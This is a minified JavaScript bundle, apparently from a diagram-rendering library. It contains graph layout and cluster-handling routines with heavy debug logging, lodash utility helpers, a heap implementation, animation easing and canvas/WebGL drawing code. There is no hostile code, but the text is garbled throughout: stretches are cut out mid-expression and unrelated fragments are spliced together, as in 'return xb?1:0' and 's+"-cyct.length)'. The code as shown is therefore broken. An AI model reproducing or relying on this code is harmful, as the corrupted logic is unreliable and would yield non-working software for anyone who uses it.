f=h.x,d=h.y,p=h.width,m=h.height;e=Math.min(e,f-p/2),r=Math.max(r,f+p/2),n=Math.min(n,d-m/2),i=Math.max(i,d+m/2)}o(u,"getExtremes"),Ae(t.nodes(),function(h){u(t.node(h))}),Ae(t.edges(),function(h){var f=t.edge(h);Object.prototype.hasOwnProperty.call(f,"x")&&u(f)}),e-=s,n-=l,Ae(t.nodes(),function(h){var f=t.node(h);f.x-=e,f.y-=n}),Ae(t.edges(),function(h){var f=t.edge(h);Ae(f.points,function(d){d.x-=e,d.y-=n}),Object.prototype.hasOwnProperty.call(f,"x")&&(f.x-=e),Object.prototype.hasOwnProperty.call(f,"y")&&(f.y-=n)}),a.width=r-e+s,a.height=i-n+l}function r$e(t){Ae(t.edges(),function(e){var r=t.edge(e),n=t.node(e.v),i=t.node(e.w),a,s;r.points?(a=r.points[0],s=r.points[r.points.length-1]):(r.points=[],a=i,s=n),r.points.unshift(UR(n,a)),r.points.push(UR(i,s))})}function n$e(t){Ae(t.edges(),function(e){var r=t.edge(e);if(Object.prototype.hasOwnProperty.call(r,"x"))switch((r.labelpos==="l"||r.labelpos==="r")&&(r.width-=r.labeloffset),r.labelpos){case"l":r.x-=r.width/2+r.labeloffset;break;case"r":r.x+=r.width/2+r.labeloffset;break}})}function i$e(t){Ae(t.edges(),function(e){var r=t.edge(e);r.reversed&&r.points.reverse()})}function a$e(t){Ae(t.nodes(),function(e){if(t.children(e).length){var r=t.node(e),n=t.node(r.borderTop),i=t.node(r.borderBottom),a=t.node(ma(r.borderLeft)),s=t.node(ma(r.borderRight));r.width=Math.abs(s.x-a.x),r.height=Math.abs(i.y-n.y),r.x=a.x+r.width/2,r.y=n.y+r.height/2}}),Ae(t.nodes(),function(e){t.node(e).dummy==="border"&&t.removeNode(e)})}function s$e(t){Ae(t.edges(),function(e){if(e.v===e.w){var r=t.node(e.v);r.selfEdges||(r.selfEdges=[]),r.selfEdges.push({e,label:t.edge(e)}),t.removeEdge(e)}})}function o$e(t){var e=uf(t);Ae(e,function(r){var n=0;Ae(r,function(i,a){var s=t.node(i);s.order=a+n,Ae(s.selfEdges,function(l){Lc(t,"selfedge",{width:l.label.width,height:l.label.height,rank:s.rank,order:a+ ++n,e:l.e,label:l.label},"_se")}),delete s.selfEdges})})}function l$e(t){Ae(t.nodes(),function(e){var r=t.node(e);if(r.dummy==="selfedge"){var n=t.node(r.e.v),i=n.x+n.width/2,a=n.y,s=r.x-i,l=n.height/2;t.setEdge(r.e,r.label),t.removeNode(e),r.label.points=[{x:i+2*s/3,y:a-l},{x:i+5*s/6,y:a-l},{x:i+s,y:a},{x:i+5*s/6,y:a+l},{x:i+2*s/3,y:a+l}],r.label.x=r.x,r.label.y=r.y}})}function cN(t,e){return ap(op(t,e),Number)}function uN(t){var e={};return Ae(t,function(r,n){e[n.toLowerCase()]=r}),e}var VFe,UFe,HFe,qFe,WFe,YFe,XFe,jFe,yoe=N(()=>{"use strict";Yt();qo();dse();vse();VR();XR();oN();Use();coe();hoe();goe();Rc();o(H2,"layout");o(zFe,"runLayout");o(GFe,"updateInputGraph");VFe=["nodesep","edgesep","ranksep","marginx","marginy"],UFe={ranksep:50,edgesep:20,nodesep:50,rankdir:"tb"},HFe=["acyclicer","ranker","rankdir","align"],qFe=["width","height"],WFe={width:0,height:0},YFe=["minlen","weight","width","height","labeloffset"],XFe={minlen:1,weight:1,width:0,height:0,labeloffset:10,labelpos:"r"},jFe=["labelpos"];o(KFe,"buildLayoutGraph");o(QFe,"makeSpaceForEdgeLabels");o(ZFe,"injectEdgeLabelProxies");o(JFe,"assignRankMinMax");o(e$e,"removeEdgeLabelProxies");o(t$e,"translateGraph");o(r$e,"assignNodeIntersects");o(n$e,"fixupEdgeLabelCoords");o(i$e,"reversePointsForReversedEdges");o(a$e,"removeBorderNodes");o(s$e,"removeSelfEdges");o(o$e,"insertSelfEdges");o(l$e,"positionSelfEdges");o(cN,"selectNumberAttrs");o(uN,"canonicalize")});var hN=N(()=>{"use strict";VR();yoe();XR();oN()});function Wo(t){var e={options:{directed:t.isDirected(),multigraph:t.isMultigraph(),compound:t.isCompound()},nodes:c$e(t),edges:u$e(t)};return xr(t.graph())||(e.value=ln(t.graph())),e}function c$e(t){return rt(t.nodes(),function(e){var r=t.node(e),n=t.parent(e),i={v:e};return xr(r)||(i.value=r),xr(n)||(i.parent=n),i})}function u$e(t){return rt(t.edges(),function(e){var r=t.edge(e),n={v:e.v,w:e.w};return xr(e.name)||(n.name=e.name),xr(r)||(n.value=r),n})}var fN=N(()=>{"use strict";Yt();gk();o(Wo,"write");o(c$e,"writeNodes");o(u$e,"writeEdges")});var Er,hp,boe,Toe,kk,h$e,woe,koe,f$e,Wm,xoe,Eoe,Soe,Coe,Aoe,_oe=N(()=>{"use strict";pt();qo();fN();Er=new Map,hp=new Map,boe=new Map,Toe=o(()=>{hp.clear(),boe.clear(),Er.clear()},"clear"),kk=o((t,e)=>{let r=hp.get(e)||[];return X.trace("In isDescendant",e," ",t," = ",r.includes(t)),r.includes(t)},"isDescendant"),h$e=o((t,e)=>{let r=hp.get(e)||[];return X.info("Descendants of ",e," is ",r),X.info("Edge is ",t),t.v===e||t.w===e?!1:r?r.includes(t.v)||kk(t.v,e)||kk(t.w,e)||r.includes(t.w):(X.debug("Tilt, ",e,",not in descendants"),!1)},"edgeInCluster"),woe=o((t,e,r,n)=>{X.warn("Copying children of ",t,"root",n,"data",e.node(t),n);let i=e.children(t)||[];t!==n&&i.push(t),X.warn("Copying (nodes) clusterId",t,"nodes",i),i.forEach(a=>{if(e.children(a).length>0)woe(a,e,r,n);else{let s=e.node(a);X.info("cp ",a," to ",n," with parent ",t),r.setNode(a,s),n!==e.parent(a)&&(X.warn("Setting parent",a,e.parent(a)),r.setParent(a,e.parent(a))),t!==n&&a!==t?(X.debug("Setting parent",a,t),r.setParent(a,t)):(X.info("In copy ",t,"root",n,"data",e.node(t),n),X.debug("Not Setting parent for node=",a,"cluster!==rootId",t!==n,"node!==clusterId",a!==t));let l=e.edges(a);X.debug("Copying Edges",l),l.forEach(u=>{X.info("Edge",u);let h=e.edge(u.v,u.w,u.name);X.info("Edge data",h,n);try{h$e(u,n)?(X.info("Copying as ",u.v,u.w,h,u.name),r.setEdge(u.v,u.w,h,u.name),X.info("newGraph edges ",r.edges(),r.edge(r.edges()[0]))):X.info("Skipping copy of edge ",u.v,"-->",u.w," rootId: ",n," clusterId:",t)}catch(f){X.error(f)}})}X.debug("Removing node",a),e.removeNode(a)})},"copy"),koe=o((t,e)=>{let r=e.children(t),n=[...r];for(let i of r)boe.set(i,t),n=[...n,...koe(i,e)];return n},"extractDescendants"),f$e=o((t,e,r)=>{let n=t.edges().filter(u=>u.v===e||u.w===e),i=t.edges().filter(u=>u.v===r||u.w===r),a=n.map(u=>({v:u.v===e?r:u.v,w:u.w===e?e:u.w})),s=i.map(u=>({v:u.v,w:u.w}));return a.filter(u=>s.some(h=>u.v===h.v&&u.w===h.w))},"findCommonEdges"),Wm=o((t,e,r)=>{let n=e.children(t);if(X.trace("Searching children of id ",t,n),n.length<1)return t;let i;for(let a of n){let s=Wm(a,e,r),l=f$e(e,r,s);if(s)if(l.length>0)i=s;else return s}return i},"findNonClusterChild"),xoe=o(t=>!Er.has(t)||!Er.get(t).externalConnections?t:Er.has(t)?Er.get(t).id:t,"getAnchorId"),Eoe=o((t,e)=>{if(!t||e>10){X.debug("Opting out, no graph ");return}else X.debug("Opting in, graph ");t.nodes().forEach(function(r){t.children(r).length>0&&(X.warn("Cluster identified",r," Replacement id in edges: ",Wm(r,t,r)),hp.set(r,koe(r,t)),Er.set(r,{id:Wm(r,t,r),clusterData:t.node(r)}))}),t.nodes().forEach(function(r){let n=t.children(r),i=t.edges();n.length>0?(X.debug("Cluster identified",r,hp),i.forEach(a=>{let s=kk(a.v,r),l=kk(a.w,r);s^l&&(X.warn("Edge: ",a," leaves cluster ",r),X.warn("Descendants of XXX ",r,": ",hp.get(r)),Er.get(r).externalConnections=!0)})):X.debug("Not a cluster ",r,hp)});for(let r of Er.keys()){let n=Er.get(r).id,i=t.parent(n);i!==r&&Er.has(i)&&!Er.get(i).externalConnections&&(Er.get(r).id=i)}t.edges().forEach(function(r){let n=t.edge(r);X.warn("Edge "+r.v+" -> "+r.w+": "+JSON.stringify(r)),X.warn("Edge "+r.v+" -> "+r.w+": "+JSON.stringify(t.edge(r)));let i=r.v,a=r.w;if(X.warn("Fix XXX",Er,"ids:",r.v,r.w,"Translating: ",Er.get(r.v)," --- ",Er.get(r.w)),Er.get(r.v)||Er.get(r.w)){if(X.warn("Fixing and trying - removing XXX",r.v,r.w,r.name),i=xoe(r.v),a=xoe(r.w),t.removeEdge(r.v,r.w,r.name),i!==r.v){let s=t.parent(i);Er.get(s).externalConnections=!0,n.fromCluster=r.v}if(a!==r.w){let s=t.parent(a);Er.get(s).externalConnections=!0,n.toCluster=r.w}X.warn("Fix Replacing with XXX",i,a,r.name),t.setEdge(i,a,n,r.name)}}),X.warn("Adjusted Graph",Wo(t)),Soe(t,0),X.trace(Er)},"adjustClustersAndEdges"),Soe=o((t,e)=>{if(X.warn("extractor - ",e,Wo(t),t.children("D")),e>10){X.error("Bailing out");return}let r=t.nodes(),n=!1;for(let i of r){let a=t.children(i);n=n||a.length>0}if(!n){X.debug("Done, no node has children",t.nodes());return}X.debug("Nodes = ",r,e);for(let i of r)if(X.debug("Extracting node",i,Er,Er.has(i)&&!Er.get(i).externalConnections,!t.parent(i),t.node(i),t.children("D")," Depth ",e),!Er.has(i))X.debug("Not a cluster",i,e);else if(!Er.get(i).externalConnections&&t.children(i)&&t.children(i).length>0){X.warn("Cluster without external connections, without a parent and with children",i,e);let s=t.graph().rankdir==="TB"?"LR":"TB";Er.get(i)?.clusterData?.dir&&(s=Er.get(i).clusterData.dir,X.warn("Fixing dir",Er.get(i).clusterData.dir,s));let l=new cn({multigraph:!0,compound:!0}).setGraph({rankdir:s,nodesep:50,ranksep:50,marginx:8,marginy:8}).setDefaultEdgeLabel(function(){return{}});X.warn("Old graph before copy",Wo(t)),woe(i,t,l,i),t.setNode(i,{clusterNode:!0,id:i,clusterData:Er.get(i).clusterData,label:Er.get(i).label,graph:l}),X.warn("New graph after copy node: (",i,")",Wo(l)),X.debug("Old graph after copy",Wo(t))}else X.warn("Cluster ** ",i," **not meeting the criteria !externalConnections:",!Er.get(i).externalConnections," no parent: ",!t.parent(i)," children ",t.children(i)&&t.children(i).length>0,t.children("D"),e),X.debug(Er);r=t.nodes(),X.warn("New list of nodes",r);for(let i of r){let a=t.node(i);X.warn(" Now next level",i,a),a?.clusterNode&&Soe(a.graph,e+1)}},"extractor"),Coe=o((t,e)=>{if(e.length===0)return[];let r=Object.assign([],e);return e.forEach(n=>{let i=t.children(n),a=Coe(t,i);r=[...r,...a]}),r},"sorter"),Aoe=o(t=>Coe(t,t.children()),"sortNodesByHierarchy")});var Loe={};dr(Loe,{render:()=>d$e});var Doe,d$e,Roe=N(()=>{"use strict";hN();fN();qo();K9();It();_oe();bw();cw();j9();pt();O2();Xt();Doe=o(async(t,e,r,n,i,a)=>{X.warn("Graph in recursive render:XAX",Wo(e),i);let s=e.graph().rankdir;X.trace("Dir in recursive render - dir:",s);let l=t.insert("g").attr("class","root");e.nodes()?X.info("Recursive render XXX",e.nodes()):X.info("No nodes found for",e),e.edges().length>0&&X.info("Recursive edges",e.edge(e.edges()[0]));let u=l.insert("g").attr("class","clusters"),h=l.insert("g").attr("class","edgePaths"),f=l.insert("g").attr("class","edgeLabels"),d=l.insert("g").attr("class","nodes");await Promise.all(e.nodes().map(async function(y){let v=e.node(y);if(i!==void 0){let x=JSON.parse(JSON.stringify(i.clusterData));X.trace(`Setting data for parent cluster XXX + Node.id = `,y,` + data=`,x.height,` +Parent cluster`,i.height),e.setNode(i.id,x),e.parent(y)||(X.trace("Setting parent",y,i.id),e.setParent(y,i.id,x))}if(X.info("(Insert) Node XXX"+y+": "+JSON.stringify(e.node(y))),v?.clusterNode){X.info("Cluster identified XBX",y,v.width,e.node(y));let{ranksep:x,nodesep:b}=e.graph();v.graph.setGraph({...v.graph.graph(),ranksep:x+25,nodesep:b});let T=await Doe(d,v.graph,r,n,e.node(y),a),S=T.elem;Qe(v,S),v.diff=T.diff||0,X.info("New compound node after recursive render XAX",y,"width",v.width,"height",v.height),Xte(S,v)}else e.children(y).length>0?(X.trace("Cluster - the non recursive path XBX",y,v.id,v,v.width,"Graph:",e),X.trace(Wm(v.id,e)),Er.set(v.id,{id:Wm(v.id,e),node:v})):(X.trace("Node - the non recursive path XAX",y,d,e.node(y),s),await Cm(d,e.node(y),{config:a,dir:s}))})),await o(async()=>{let y=e.edges().map(async function(v){let x=e.edge(v.v,v.w,v.name);X.info("Edge "+v.v+" -> "+v.w+": "+JSON.stringify(v)),X.info("Edge "+v.v+" -> "+v.w+": ",v," ",JSON.stringify(e.edge(v))),X.info("Fix",Er,"ids:",v.v,v.w,"Translating: ",Er.get(v.v),Er.get(v.w)),await mw(f,x)});await Promise.all(y)},"processEdges")(),X.info("Graph before layout:",JSON.stringify(Wo(e))),X.info("############################################# XXX"),X.info("### Layout ### XXX"),X.info("############################################# XXX"),H2(e),X.info("Graph after layout:",JSON.stringify(Wo(e)));let m=0,{subGraphTitleTotalMargin:g}=Pu(a);return await Promise.all(Aoe(e).map(async function(y){let v=e.node(y);if(X.info("Position XBX => "+y+": ("+v.x,","+v.y,") width: ",v.width," height: ",v.height),v?.clusterNode)v.y+=g,X.info("A tainted cluster node XBX1",y,v.id,v.width,v.height,v.x,v.y,e.parent(y)),Er.get(v.id).node=v,P2(v);else if(e.children(y).length>0){X.info("A pure cluster node XBX1",y,v.id,v.x,v.y,v.width,v.height,e.parent(y)),v.height+=g,e.node(v.parentId);let x=v?.padding/2||0,b=v?.labelBBox?.height||0,T=b-x||0;X.debug("OffsetY",T,"labelHeight",b,"halfPadding",x),await Sm(u,v),Er.get(v.id).node=v}else{let x=e.node(v.parentId);v.y+=g/2,X.info("A regular node XBX1 - using the padding",v.id,"parent",v.parentId,v.width,v.height,v.x,v.y,"offsetY",v.offsetY,"parent",x,x?.offsetY,v),P2(v)}})),e.edges().forEach(function(y){let v=e.edge(y);X.info("Edge "+y.v+" -> "+y.w+": "+JSON.stringify(v),v),v.points.forEach(S=>S.y+=g/2);let x=e.node(y.v);var b=e.node(y.w);let T=yw(h,v,Er,r,x,b,n);gw(v,T)}),e.nodes().forEach(function(y){let v=e.node(y);X.info(y,v.type,v.diff),v.isGroup&&(m=v.diff)}),X.warn("Returning from recursive render XAX",l,m),{elem:l,diff:m}},"recursiveRender"),d$e=o(async(t,e)=>{let r=new cn({multigraph:!0,compound:!0}).setGraph({rankdir:t.direction,nodesep:t.config?.nodeSpacing||t.config?.flowchart?.nodeSpacing||t.nodeSpacing,ranksep:t.config?.rankSpacing||t.config?.flowchart?.rankSpacing||t.rankSpacing,marginx:8,marginy:8}).setDefaultEdgeLabel(function(){return{}}),n=e.select("g");vw(n,t.markers,t.type,t.diagramId),jte(),Yte(),zte(),Toe(),t.nodes.forEach(a=>{r.setNode(a.id,{...a}),a.parentId&&r.setParent(a.id,a.parentId)}),X.debug("Edges:",t.edges),t.edges.forEach(a=>{if(a.start===a.end){let s=a.start,l=s+"---"+s+"---1",u=s+"---"+s+"---2",h=r.node(s);r.setNode(l,{domId:l,id:l,parentId:h.parentId,labelStyle:"",label:"",padding:0,shape:"labelRect",style:"",width:10,height:10}),r.setParent(l,h.parentId),r.setNode(u,{domId:u,id:u,parentId:h.parentId,labelStyle:"",padding:0,shape:"labelRect",label:"",style:"",width:10,height:10}),r.setParent(u,h.parentId);let f=structuredClone(a),d=structuredClone(a),p=structuredClone(a);f.label="",f.arrowTypeEnd="none",f.id=s+"-cyclic-special-1",d.arrowTypeStart="none",d.arrowTypeEnd="none",d.id=s+"-cyclic-special-mid",p.label="",h.isGroup&&(f.fromCluster=s,p.toCluster=s),p.id=s+"-cyclic-special-2",p.arrowTypeStart="none",r.setEdge(s,l,f,s+"-cyclic-special-0"),r.setEdge(l,u,d,s+"-cyclic-special-1"),r.setEdge(u,s,p,s+"-cyct.length)&&(e=t.length);for(var r=0,n=Array(e);r=t.length?{done:!0}:{done:!1,value:t[n++]}},"n"),e:o(function(u){throw u},"e"),f:i}}throw new TypeError(`Invalid attempt to iterate non-iterable instance. +In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)}var a,s=!0,l=!1;return{s:o(function(){r=r.call(t)},"s"),n:o(function(){var u=r.next();return s=u.done,u},"n"),e:o(function(u){l=!0,a=u},"e"),f:o(function(){try{s||r.return==null||r.return()}finally{if(l)throw a}},"f")}}function sue(t,e,r){return(e=oue(e))in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}function y$e(t){if(typeof Symbol<"u"&&t[Symbol.iterator]!=null||t["@@iterator"]!=null)return Array.from(t)}function v$e(t,e){var r=t==null?null:typeof Symbol<"u"&&t[Symbol.iterator]||t["@@iterator"];if(r!=null){var n,i,a,s,l=[],u=!0,h=!1;try{if(a=(r=r.call(t)).next,e===0){if(Object(r)!==r)return;u=!1}else for(;!(u=(n=a.call(r)).done)&&(l.push(n.value),l.length!==e);u=!0);}catch(f){h=!0,i=f}finally{try{if(!u&&r.return!=null&&(s=r.return(),Object(s)!==s))return}finally{if(h)throw i}}return l}}function x$e(){throw new TypeError(`Invalid attempt to destructure non-iterable instance. +In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)}function b$e(){throw new TypeError(`Invalid attempt to spread non-iterable instance. +In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)}function _i(t,e){return p$e(t)||v$e(t,e)||cI(t,e)||x$e()}function Xk(t){return m$e(t)||y$e(t)||cI(t)||b$e()}function T$e(t,e){if(typeof t!="object"||!t)return t;var r=t[Symbol.toPrimitive];if(r!==void 0){var n=r.call(t,e);if(typeof n!="object")return n;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(t)}function oue(t){var e=T$e(t,"string");return typeof e=="symbol"?e:e+""}function $i(t){"@babel/helpers - typeof";return $i=typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?function(e){return typeof e}:function(e){return e&&typeof Symbol=="function"&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},$i(t)}function cI(t,e){if(t){if(typeof t=="string")return UM(t,e);var r={}.toString.call(t).slice(8,-1);return r==="Object"&&t.constructor&&(r=t.constructor.name),r==="Map"||r==="Set"?Array.from(t):r==="Arguments"||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?UM(t,e):void 0}}function gx(t){return t&&t.__esModule&&Object.prototype.hasOwnProperty.call(t,"default")?t.default:t}function yx(){if(Ioe)return dN;Ioe=1;function t(e){var r=typeof e;return e!=null&&(r=="object"||r=="function")}return o(t,"isObject"),dN=t,dN}function H$e(){if(Ooe)return pN;Ooe=1;var t=typeof Ek=="object"&&Ek&&Ek.Object===Object&&Ek;return pN=t,pN}function cE(){if(Poe)return mN;Poe=1;var t=H$e(),e=typeof self=="object"&&self&&self.Object===Object&&self,r=t||e||Function("return this")();return mN=r,mN}function q$e(){if(Boe)return gN;Boe=1;var t=cE(),e=o(function(){return t.Date.now()},"now");return gN=e,gN}function W$e(){if(Foe)return yN;Foe=1;var t=/\s/;function e(r){for(var n=r.length;n--&&t.test(r.charAt(n)););return n}return o(e,"trimmedEndIndex"),yN=e,yN}function Y$e(){if($oe)return vN;$oe=1;var t=W$e(),e=/^\s+/;function r(n){return n&&n.slice(0,t(n)+1).replace(e,"")}return o(r,"baseTrim"),vN=r,vN}function fI(){if(zoe)return xN;zoe=1;var t=cE(),e=t.Symbol;return xN=e,xN}function X$e(){if(Goe)return bN;Goe=1;var t=fI(),e=Object.prototype,r=e.hasOwnProperty,n=e.toString,i=t?t.toStringTag:void 0;function a(s){var l=r.call(s,i),u=s[i];try{s[i]=void 0;var h=!0}catch{}var f=n.call(s);return h&&(l?s[i]=u:delete s[i]),f}return o(a,"getRawTag"),bN=a,bN}function j$e(){if(Voe)return TN;Voe=1;var t=Object.prototype,e=t.toString;function r(n){return e.call(n)}return o(r,"objectToString"),TN=r,TN}function gue(){if(Uoe)return wN;Uoe=1;var t=fI(),e=X$e(),r=j$e(),n="[object Null]",i="[object Undefined]",a=t?t.toStringTag:void 0;function s(l){return l==null?l===void 0?i:n:a&&a in Object(l)?e(l):r(l)}return o(s,"baseGetTag"),wN=s,wN}function K$e(){if(Hoe)return kN;Hoe=1;function t(e){return e!=null&&typeof e=="object"}return o(t,"isObjectLike"),kN=t,kN}function vx(){if(qoe)return EN;qoe=1;var t=gue(),e=K$e(),r="[object Symbol]";function n(i){return typeof i=="symbol"||e(i)&&t(i)==r}return o(n,"isSymbol"),EN=n,EN}function Q$e(){if(Woe)return SN;Woe=1;var t=Y$e(),e=yx(),r=vx(),n=NaN,i=/^[-+]0x[0-9a-f]+$/i,a=/^0b[01]+$/i,s=/^0o[0-7]+$/i,l=parseInt;function u(h){if(typeof h=="number")return h;if(r(h))return n;if(e(h)){var f=typeof h.valueOf=="function"?h.valueOf():h;h=e(f)?f+"":f}if(typeof h!="string")return h===0?h:+h;h=t(h);var d=a.test(h);return d||s.test(h)?l(h.slice(2),d?2:8):i.test(h)?n:+h}return o(u,"toNumber"),SN=u,SN}function Z$e(){if(Yoe)return CN;Yoe=1;var t=yx(),e=q$e(),r=Q$e(),n="Expected a function",i=Math.max,a=Math.min;function s(l,u,h){var f,d,p,m,g,y,v=0,x=!1,b=!1,T=!0;if(typeof l!="function")throw new TypeError(n);u=r(u)||0,t(h)&&(x=!!h.leading,b="maxWait"in h,p=b?i(r(h.maxWait)||0,u):p,T="trailing"in h?!!h.trailing:T);function S(D){var _=f,O=d;return f=d=void 0,v=D,m=l.apply(O,_),m}o(S,"invokeFunc");function w(D){return v=D,g=setTimeout(C,u),x?S(D):m}o(w,"leadingEdge");function k(D){var _=D-y,O=D-v,M=u-_;return b?a(M,p-O):M}o(k,"remainingWait");function A(D){var _=D-y,O=D-v;return y===void 0||_>=u||_<0||b&&O>=p}o(A,"shouldInvoke");function C(){var D=e();if(A(D))return R(D);g=setTimeout(C,k(D))}o(C,"timerExpired");function R(D){return g=void 0,T&&f?S(D):(f=d=void 0,m)}o(R,"trailingEdge");function I(){g!==void 0&&clearTimeout(g),v=0,f=y=d=g=void 0}o(I,"cancel");function L(){return g===void 0?m:R(e())}o(L,"flush");function E(){var D=e(),_=A(D);if(f=arguments,d=this,y=D,_){if(g===void 0)return w(y);if(b)return clearTimeout(g),g=setTimeout(C,u),S(y)}return g===void 0&&(g=setTimeout(C,u)),m}return o(E,"debounced"),E.cancel=I,E.flush=L,E}return o(s,"debounce"),CN=s,CN}function nze(t,e,r,n,i){var a=i*Math.PI/180,s=Math.cos(a)*(t-r)-Math.sin(a)*(e-n)+r,l=Math.sin(a)*(t-r)+Math.cos(a)*(e-n)+n;return{x:s,y:l}}function aze(t,e,r){if(r===0)return t;var n=(e.x1+e.x2)/2,i=(e.y1+e.y2)/2,a=e.w/e.h,s=1/a,l=nze(t.x,t.y,n,i,r),u=ize(l.x,l.y,n,i,a,s);return{x:u.x,y:u.y}}function gze(){return Zoe||(Zoe=1,(function(t,e){(function(){var r,n,i,a,s,l,u,h,f,d,p,m,g,y,v;i=Math.floor,d=Math.min,n=o(function(x,b){return xb?1:0},"defaultCmp"),f=o(function(x,b,T,S,w){var k;if(T==null&&(T=0),w==null&&(w=n),T<0)throw new Error("lo must be non-negative");for(S==null&&(S=x.length);TI;0<=I?R++:R--)C.push(R);return C}).apply(this).reverse(),A=[],S=0,w=k.length;SL;0<=L?++C:--C)E.push(s(x,T));return E},"nsmallest"),y=o(function(x,b,T,S){var w,k,A;for(S==null&&(S=n),w=x[T];T>b;){if(A=T-1>>1,k=x[A],S(w,k)<0){x[T]=k,T=A;continue}break}return x[T]=w},"_siftdown"),v=o(function(x,b,T){var S,w,k,A,C;for(T==null&&(T=n),w=x.length,C=b,k=x[b],S=2*b+1;S-1}return o(e,"listCacheHas"),tM=e,tM}function cVe(){if($le)return rM;$le=1;var t=mE();function e(r,n){var i=this.__data__,a=t(i,r);return a<0?(++this.size,i.push([r,n])):i[a][1]=n,this}return o(e,"listCacheSet"),rM=e,rM}function uVe(){if(zle)return nM;zle=1;var t=aVe(),e=sVe(),r=oVe(),n=lVe(),i=cVe();function a(s){var l=-1,u=s==null?0:s.length;for(this.clear();++l-1&&n%1==0&&n0;){var f=i.shift();e(f),a.add(f.id()),l&&n(i,a,f)}return t}function Yue(t,e,r){if(r.isParent())for(var n=r._private.children,i=0;i0&&arguments[0]!==void 0?arguments[0]:bUe,e=arguments.length>1?arguments[1]:void 0,r=0;r0?E=_:L=_;while(Math.abs(D)>s&&++O=a?b(I,O):M===0?O:S(I,L,L+h)}o(w,"getTForX");var k=!1;function A(){k=!0,(t!==e||r!==n)&&T()}o(A,"precompute");var C=o(function(L){return k||A(),t===e&&r===n?L:L===0?0:L===1?1:v(w(L),e,n)},"f");C.getControlPoints=function(){return[{x:t,y:e},{x:r,y:n}]};var R="generateBezier("+[t,e,r,n]+")";return C.toString=function(){return R},C}function Dce(t,e,r,n,i){if(n===1||e===r)return r;var a=i(e,r,n);return t==null||((t.roundValue||t.color)&&(a=Math.round(a)),t.min!==void 0&&(a=Math.max(a,t.min)),t.max!==void 0&&(a=Math.min(a,t.max))),a}function Lce(t,e){return t.pfValue!=null||t.value!=null?t.pfValue!=null&&(e==null||e.type.units!=="%")?t.pfValue:t.value:t}function jm(t,e,r,n,i){var a=i!=null?i.type:null;r<0?r=0:r>1&&(r=1);var s=Lce(t,i),l=Lce(e,i);if(At(s)&&At(l))return Dce(a,s,l,r,n);if(An(s)&&An(l)){for(var u=[],h=0;h0?(m==="spring"&&g.push(s.duration),s.easingImpl=Vk[m].apply(null,g)):s.easingImpl=Vk[m]}var y=s.easingImpl,v;if(s.duration===0?v=1:v=(r-u)/s.duration,s.applying&&(v=s.progress),v<0?v=0:v>1&&(v=1),s.delay==null){var x=s.startPosition,b=s.position;if(b&&i&&!t.locked()){var T={};X2(x.x,b.x)&&(T.x=jm(x.x,b.x,v,y)),X2(x.y,b.y)&&(T.y=jm(x.y,b.y,v,y)),t.position(T)}var S=s.startPan,w=s.pan,k=a.pan,A=w!=null&&n;A&&(X2(S.x,w.x)&&(k.x=jm(S.x,w.x,v,y)),X2(S.y,w.y)&&(k.y=jm(S.y,w.y,v,y)),t.emit("pan"));var C=s.startZoom,R=s.zoom,I=R!=null&&n;I&&(X2(C,R)&&(a.zoom=ox(a.minZoom,jm(C,R,v,y),a.maxZoom)),t.emit("zoom")),(A||I)&&t.emit("viewport");var L=s.style;if(L&&L.length>0&&i){for(var E=0;E=0;A--){var C=k[A];C()}k.splice(0,k.length)},"callbacks"),b=m.length-1;b>=0;b--){var T=m[b],S=T._private;if(S.stopped){m.splice(b,1),S.hooked=!1,S.playing=!1,S.started=!1,x(S.frames);continue}!S.playing&&!S.applying||(S.playing&&S.applying&&(S.applying=!1),S.started||IUe(f,T,t),MUe(f,T,t,d),S.applying&&(S.applying=!1),x(S.frames),S.step!=null&&S.step(t),T.completed()&&(m.splice(b,1),S.hooked=!1,S.playing=!1,S.started=!1,x(S.completes)),y=!0)}return!d&&m.length===0&&g.length===0&&n.push(f),y}o(i,"stepOne");for(var a=!1,s=0;s0?e.notify("draw",r):e.notify("draw")),r.unmerge(n),e.emit("step")}function hhe(t){this.options=ir({},VUe,UUe,t)}function fhe(t){this.options=ir({},HUe,t)}function dhe(t){this.options=ir({},qUe,t)}function kE(t){this.options=ir({},WUe,t),this.options.layout=this;var e=this.options.eles.nodes(),r=this.options.eles.edges(),n=r.filter(function(i){var a=i.source().data("id"),s=i.target().data("id"),l=e.some(function(h){return h.data("id")===a}),u=e.some(function(h){return h.data("id")===s});return!l||!u});this.options.eles=this.options.eles.not(n)}function yhe(t){this.options=ir({},oHe,t)}function _I(t){this.options=ir({},lHe,t)}function vhe(t){this.options=ir({},cHe,t)}function xhe(t){this.options=ir({},uHe,t)}function bhe(t){this.options=t,this.notifications=0}function khe(t,e){e.radius===0?t.lineTo(e.cx,e.cy):t.arc(e.cx,e.cy,e.radius,e.startAngle,e.endAngle,e.counterClockwise)}function LI(t,e,r,n){var i=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!0;return n===0||e.radius===0?{cx:e.x,cy:e.y,radius:0,startX:e.x,startY:e.y,stopX:e.x,stopY:e.y,startAngle:void 0,endAngle:void 0,counterClockwise:void 0}:(dHe(t,e,r,n,i),{cx:eI,cy:tI,radius:gp,startX:The,startY:whe,stopX:rI,stopY:nI,startAngle:Ic.ang+Math.PI/2*vp,endAngle:Yo.ang-Math.PI/2*vp,counterClockwise:qk})}function Ehe(t){var e=[];if(t!=null){for(var r=0;r5&&arguments[5]!==void 0?arguments[5]:5,s=Math.min(a,n/2,i/2);t.beginPath(),t.moveTo(e+s,r),t.lineTo(e+n-s,r),t.quadraticCurveTo(e+n,r,e+n,r+s),t.lineTo(e+n,r+i-s),t.quadraticCurveTo(e+n,r+i,e+n-s,r+i),t.lineTo(e+s,r+i),t.quadraticCurveTo(e,r+i,e,r+i-s),t.lineTo(e,r+s),t.quadraticCurveTo(e,r,e+s,r),t.closePath()}function Qce(t,e,r){var n=t.createShader(e);if(t.shaderSource(n,r),t.compileShader(n),!t.getShaderParameter(n,t.COMPILE_STATUS))throw new Error(t.getShaderInfoLog(n));return n}function rqe(t,e,r){var 